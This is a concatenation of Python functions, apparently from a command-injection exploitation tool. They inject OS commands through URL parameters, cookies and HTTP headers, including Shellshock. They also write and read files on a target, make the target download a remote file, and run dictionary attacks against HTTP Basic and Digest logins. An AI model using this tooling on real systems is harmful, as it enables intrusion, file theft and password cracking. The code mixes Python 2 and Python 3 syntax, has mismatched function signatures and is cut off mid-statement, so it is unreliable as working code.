def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exist. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Read a file from the target host. #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print(shell) output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True: print("")
def perform_checks(url, filename): def basic_level_checks(): settings.PERFORM_BASIC_SCANS = False # Check if HTTP Method is GET. if not menu.options.data: get_request(url, http_request_method, filename, timesec) # Check if HTTP Method is POST. else: post_request(url, http_request_method, filename, timesec) timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. authentication.authentication_process() # Check if authentication page is the same with the next (injection) URL if urllib2.urlopen(url).read() == urllib2.urlopen( menu.options.auth_url).read(): err_msg = "It seems that the authentication procedure has failed." print settings.print_critical_msg(err_msg) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: err_msg = "You must specify both login panel URL and login parameters." print settings.print_critical_msg(err_msg) raise SystemExit() else: pass # Check if HTTP Method is GET. if not menu.options.data: http_request_method = "GET" else: http_request_method = "POST" if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: check_for_stored_levels(url, http_request_method) if settings.PERFORM_BASIC_SCANS: basic_level_checks() # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL: if settings.INJECTED_HTTP_HEADER == False: check_parameter = "" stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) else: # Enable Cookie Injection if menu.options.level > settings.DEFAULT_INJECTION_LEVEL: if menu.options.cookie: cookie_injection(url, http_request_method, filename, timesec) else: warn_msg = "The HTTP Cookie header is not provided, " warn_msg += "so this test is going to be skipped." print settings.print_warning_msg(warn_msg) else: # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None if settings.INJECTION_CHECKER == False: return False else: return True
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print settings.print_critical_msg(err_msg) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + http_request_method + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += header_name + the_type + check_parameter + " for tests." else: info_msg += the_type + header_name + check_parameter + " for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) skip_code_injections = False skip_command_injections = False if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.tech or "e" in menu.options.tech: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Due to results, " question_msg += "skipping of code injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n", "").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_code_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: if not skip_code_injections: settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method) != False: if not menu.options.batch: settings.EVAL_BASED_STATE = True question_msg = "Due to results, " question_msg += "skipping of further command injection checks is recommended. " question_msg += "Do you agree? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) procced_option = sys.stdin.readline().replace("\n", "").lower() else: procced_option = "" if len(procced_option) == 0: procced_option = "y" if procced_option in settings.CHOICE_YES: skip_command_injections = True elif procced_option in settings.CHOICE_NO: pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: settings.EVAL_BASED_STATE = False if not skip_command_injections: # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: settings.TIME_BASED_STATE = None if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech and not skip_command_injections: settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if not header_name == " cookie" and not the_type == " HTTP header": warn_msg += " " + http_request_method + "" warn_msg += the_type + header_name + check_parameter warn_msg += " seems to be not injectable." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL
def do_GET_check(url): http_request_method = "GET" # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: if menu.options.level == 3 or menu.options.header or menu.options.headers: return False if menu.options.level == 2: return False else: err_msg = "No parameter(s) found for testing in the provided data. " err_msg += "You must specify the testable parameter or " err_msg += "try to increase '--level' values to perform more tests." print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: return False return url else: urls_list = [] if menu.options.shellshock: urls_list.append(url) else: # Find the host part url_part = get_url_part(url) # Find the parameter part parameters = url.split("?")[1] # Split parameters multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s ]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) # Check for empty values (in provided parameters). checks.is_empty(multi_parameters, http_request_method) # Grab the value of parameter. _ = [] _.append(parameters) parameters = ''.join(checks.check_similarities(_)) value = re.findall(r'=(.*)', parameters) value = ''.join(value) # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(value) # Replace the value of parameter with INJECT_HERE tag inject_value = value.replace(value, settings.INJECT_TAG) # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(parameters): return urls_list if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: parameters = parameters.replace(value, inject_value) else: # Auto-recognize prefix / suffix if settings.INJECT_TAG in value: if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: menu.options.prefix = value.rsplit( settings.INJECT_TAG, 1)[0] if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: menu.options.suffix = value.rsplit( settings.INJECT_TAG, 1)[1] parameters = parameters.replace(value, inject_value) # Reconstruct the URL url = url_part + "?" + parameters urls_list.append(url) return urls_list else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join( multi_parameters) all_params = all_params.split(settings.PARAMETER_DELIMITER) # Check for similarity in provided parameter name and value. all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag if settings.INJECT_TAG not in url: for param in range(0, len(all_params)): if param == 0: old = re.findall(r'=(.*)', all_params[param]) old = ''.join(old) else: old = value # Grab the value of parameter. value = re.findall(r'=(.*)', all_params[param]) value = ''.join(value) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(value) # Replace the value of parameter with INJECT_HERE tag inject_value = value.replace(value, settings.INJECT_TAG) # Skip testing the parameter(s) with empty value(s). if menu.options.skip_empty: if len(value) == 0: provided_value = re.findall( r'(.*)=', all_params[param]) provided_value = ''.join(provided_value) else: all_params[param] = all_params[param].replace( value, inject_value) all_params[param - 1] = all_params[param - 1].replace( inject_value, old) parameter = settings.PARAMETER_DELIMITER.join( all_params) # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) else: if len(value) == 0: all_params[param] = all_params[ param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace( value, inject_value) all_params[param - 1] = all_params[param - 1].replace( inject_value, old) parameter = settings.PARAMETER_DELIMITER.join( all_params) # Reconstruct the URL url = url_part + "?" + parameter urls_list.append( url.replace(settings.RANDOM_TAG, "")) else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) parameter = settings.PARAMETER_DELIMITER.join( multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) return urls_list
def check_http_traffic(request): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.SCHEME == 'https': http_client = _http_client.HTTPSConnection else: http_client = _http_client.HTTPConnection class connection(http_client): def send(self, req): headers = req.decode() request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [ unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers ] request_http_headers = unique_request_http_headers for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) if menu.options.traffic_file: logs.log_traffic("\n" + header) http_client.send(self, req) class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object): def http_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." error_msg = "Connection to the target URL " + error_msg except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: print(settings.SPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() def https_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." error_msg = "Connection to the target URL " + error_msg except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: print(settings.SPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() opener = _urllib.request.build_opener(connection_handler()) _ = False current_attempt = 0 unauthorized = False while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num( settings.TOTAL_OF_REQUESTS) + "]:" print(settings.print_request_msg(req_msg)) if menu.options.traffic_file: req_msg = "HTTP request [#" + str( settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Testing connection to the target URL." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True and not settings.UNAUTHORIZED: print(settings.SPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [ True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg) ]: break except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str( err_msg): print(settings.SPACE) warn_msg = "The provided target URL seems not reachable. " warn_msg += "In case that it is, please try to re-run using " if not menu.options.random_agent: warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize( ) + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) current_attempt = current_attempt + 1 time.sleep(3) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SPACE) err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: raise SystemExit() try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) if not settings.PERFORM_CRACKING: print(settings.SPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: error_msg = error_msg + "Non-standard HTTP status code" pass else: error_msg = str(err).replace(": ", " (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() # The handlers raise this exception when they run into a problem. except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): pass else: err_msg = "Unable to connect to the target URL" try: err_msg += " (Reason: " + str( err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Raise exception regarding existing connection was forcibly closed by the remote host. except SocketError as err: if err.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif err.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit()
def estimate_response_time(url, timesec): stored_auth_creds = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Estimating the target URL response time... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) headers.do_check(request) start = time.time() try: response = urllib2.urlopen(request) response.read(1) response.close() # except urllib2.HTTPError, err: # pass except urllib2.HTTPError, err: ignore_start = time.time() if "Unauthorized" in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: if settings.VERBOSITY_LEVEL >= 1: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += " (" + str(err) + ")." print(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." print(settings.print_critical_msg(err_msg)) + "\n" raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() else: menu.options.auth_type = auth_type.lower() # Check for stored auth credentials. if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds: menu.options.auth_cred = stored_auth_creds success_msg = "Identified a valid (stored) pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_success_msg(success_msg)) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: checks.http_auth_err_msg() else: pass ignore_end = time.time() start = start - (ignore_start - ignore_end)
def custom_header_injection(url, vuln_parameter, payload): def inject_custom_header(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) response = opener.open(request) return response except ValueError: pass if settings.TIME_RELATIVE_ATTACK : start = 0 end = 0 start = time.time() proxy = None #response = inject_custom_header(url, vuln_parameter, payload, proxy) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = urllib2.ProxyHandler({settings.SCHEME : menu.options.proxy}) response = inject_custom_header(url, vuln_parameter, payload, proxy) except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \ settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None: print("") if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False except urllib2.URLError, err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit()
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str( err_msg) + ")" sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "": dest_to_upload = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL >= 1: print("") if shell: info_msg = "The " + shell info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def do_check(url, http_request_method, filename): # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." print(settings.print_warning_msg(warn_msg)) # Check for '--backticks' option. if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) if menu.options.wizard: if perform_checks(url, http_request_method, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: while True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " next_level = _input( settings.print_question_msg(question_msg)) else: next_level = "" if len(next_level) == 0: next_level = "Y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, http_request_method, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < 